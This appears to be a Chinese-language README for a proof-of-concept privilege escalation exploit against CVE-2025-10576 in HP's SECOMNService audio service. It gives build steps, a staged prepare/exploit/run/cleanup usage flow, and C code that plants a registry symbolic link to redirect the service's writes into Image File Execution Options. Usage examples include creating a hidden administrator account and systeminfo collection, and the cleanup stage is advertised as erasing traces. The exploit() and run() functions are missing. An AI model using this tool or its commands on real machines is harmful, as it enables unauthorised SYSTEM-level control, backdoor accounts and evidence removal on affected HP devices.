HP SECOMNService权限提升漏洞利用工具精选
CVE-2025-10576:HP Sound Research SECOMNService 本地权限提升漏洞利用
先快速拆解这个漏洞的利用链。CVE-2025-10576 影响 HP Sound Research 音频驱动组件中的 SECOMNService 服务,根源在于注册表权限管控缺失——任何低权限用户都能在 HKLM\Software\SoundResearch\APO 路径下植入注册表符号链接,诱使系统级服务在重启时向攻击者控制的注册表位置写入数据,从而完成权限提升并执行任意指令。下面这份 PoC 工具正是为此设计。
| 属性 | 值 |
|---|---|
| 漏洞编号 | CVE-2025-10576 |
| 影响组件 | HP Sound Research SECOMNService |
| 漏洞类型 | 权限提升 (EoP) |
| 利用方式 | 注册表符号链接 + Image File Execution Options |
| 影响范围 | 特定 HP 消费级/商用级设备 |
项目概述
这是一款针对 CVE-2025-10576 漏洞的概念验证(PoC)利用工具。漏洞驻留在 HP Sound Research 音频驱动组件的 SECOMNService 服务中,由于注册表权限配置不当,任何非特权用户均可在 HKLM\Software\SoundResearch\APO 路径下创建注册表符号链接,诱使 SECOMNService 在系统或服务重启时向攻击者选定的注册表位置写入可控内容,进而实现权限提升与任意系统命令执行。
功能特性
- 注册表符号链接创建:利用
REG_OPTION_CREATE_LINK选项在HKLM\Software\SoundResearch\APO创建指向目标注册表路径的符号链接。 - 命令注入执行:通过
Image File Execution Options的Debugger键值,将任意命令注入到系统计划任务执行上下文中。 - 任务触发机制:利用 Windows 客户体验改善计划(CEIP)的
Consolidator计划任务触发命令执行。 - 完整清理功能:自动删除所有创建的注册表项和符号链接,不留痕迹。
- 分阶段利用流程:准备、执行、清理三阶段分离,便于在系统重启前后分别操作。
安装指南
系统要求
- 操作系统:Windows Vista / Windows Server 2008 及以上版本(支持注册表符号链接)。
- 目标环境:已安装 HP Sound Research 音频驱动组件的 HP 设备。
- 权限要求:普通用户权限即可(无需管理员权限)。
- 编译器:Microsoft Visual Studio 或 MinGW-w64。
编译步骤
使用 Visual Studio 命令行工具编译:
cl.exe /DUNICODE /D_UNICODE soundresearch_poc.c
使用 MinGW-w64 编译:
x86_64-w64-mingw32-gcc -o soundresearch_poc.exe soundresearch_poc.c -ladvapi32 -lntdll
依赖项
- Windows SDK(提供
windows.h头文件)。 ntdll.dll(提供NtDeleteKey系统调用)。- 无需额外第三方库。
使用说明
基础用法
soundresearch_poc.exe [prepare|exploit|run|cleanup] [命令参数]
利用流程
第一步:准备(Prepare)
创建注册表符号链接,将 HKLM\Software\SoundResearch\APO 重定向到 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsqmcons.exe:
soundresearch_poc.exe prepare
执行成功后,必须重启系统或重启 SECOMNService 服务才能使符号链接生效。
第二步:执行漏洞利用(Exploit)
设置 IFEO 调试器键值,将目标命令注入到 wsqmcons.exe 的调试器中:
soundresearch_poc.exe exploit "whoami /all > C:\Windows\soundresearch.txt"
该命令会:
- 打开已符号链接的目标注册表路径。
- 设置
Debugger值为当前可执行文件路径 +run子命令 + 目标命令。 - 触发 CEIP
Consolidator计划任务。
第三步:运行任意命令(Run)
直接通过工具执行任意命令(通常由 exploit 自动调用):
soundresearch_poc.exe run "net localgroup administrators"
第四步:清理(Cleanup)
删除所有创建的注册表项和符号链接:
soundresearch_poc.exe cleanup
使用场景示例
场景一:查看当前权限
soundresearch_poc.exe exploit "whoami"
场景二:添加管理员用户
soundresearch_poc.exe exploit "net user hacker P@ssw0rd /add && net localgroup administrators hacker /add"
场景三:获取系统信息
soundresearch_poc.exe exploit "systeminfo > C:\temp\sysinfo.txt"
核心代码
1. 注册表符号链接创建(Prepare)
BOOL prepare(void)
{
wchar_t* linkstr = REGLINK_TARGET; // 目标路径:IFEO
HKEY hlink = NULL; // 删除已存在的键,确保干净状态
RegDeleteTreeW(HKEY_LOCAL_MACHINE, SOUNDRESEARCH_KEY); // 创建注册表符号链接(REG_OPTION_CREATE_LINK 标志)
if(!RegCreateKeyExW(HKEY_LOCAL_MACHINE, SOUNDRESEARCH_KEY, 0, NULL,
REG_OPTION_CREATE_LINK, KEY_WRITE | KEY_READ,
NULL, &hlink, NULL))
{
// 设置 SymbolicLinkValue 值指向目标路径
RegSetValueExW(hlink, REG_SYMLINK_VALUE, 0, REG_LINK,
(void*)linkstr, wcslen(linkstr) * sizeof(wchar_t));
RegCloseKey(hlink);
return TRUE;
}
return FALSE;
}
核心机制:使用 REG_OPTION_CREATE_LINK 配合 REG_LINK 值类型创建注册表符号链接。当服务以 SYSTEM 权限访问 SOUNDRESEARCH_KEY 时,实际会被重定向到 IFEO_KEY 路径。
3. 清理函数(Cleanup)
void cleanup(void)
{
HKEY hlink = NULL; // 打开符号链接并删除(使用 REG_OPTION_OPEN_LINK)
if(!RegOpenKeyExW(HKEY_LOCAL_MACHINE, SOUNDRESEARCH_KEY,
REG_OPTION_OPEN_LINK, DELETE, &hlink))
{
NtDeleteKey(hlink); // 直接删除符号链接键
RegCloseKey(hlink);
} // 删除 IFEO 键
RegDeleteTreeW(HKEY_LOCAL_MACHINE, IFEO_KEY);
}
核心机制:使用 REG_OPTION_OPEN_LINK 打开符号链接本身而非目标路径,通过 NtDeleteKey 删除链接键,彻底清除痕迹。
4. 主控制逻辑(Main)
int main(int argc, char** argv)
{
if(argc < 2) {
printf("Usage: %s [prepare|exploit|run|cleanup] \"{command line}\"\n", argv[0]);
return 1;
}
if(!strcmp(argv[1], "cleanup")) {
cleanup();
return 0;
}
else if(!strcmp(argv[1], "prepare")) {
if(!prepare()) {
printf("Symlink creation failed!\n");
return 1;
}
printf("Symlink created! Now restart the machine or SECOMNService service!\n");
return 0;
}
else if(!strcmp(argv[1], "exploit")) {
if(argc < 3) {
printf("exploit requires an extra command line argument!\n");
return 1;
}
if(!exploit(argv[2])) {
printf("Failed to run the exploit! Check permissions!\n");
return 1;
}
printf("Exploit successful! Queue command: \"%s\"\n", argv[2]);
return 0;
}
else if(!strcmp(argv[1], "run")) {
if(argc < 3) {
printf("run requires an extra command line argument!\n");
return 1;
}
run(argv[2]);
return 0;
}
printf("Command \"%s\" not known. Use prepare, exploit, run or cleanup!\n", argv[1]);
return 1;
}
核心机制:命令行驱动的控制流程,支持 prepare、exploit、run、cleanup 四个子命令,形成完整的漏洞利用闭环。
安全声明
本工具仅用于教育和授权安全测试。未经授权在非授权系统上使用可能违反法律。使用者须自行承担全部责任。
参考链接
- HP 安全公告 HPSBHF04051
- CVE-2025-10576 官方条目
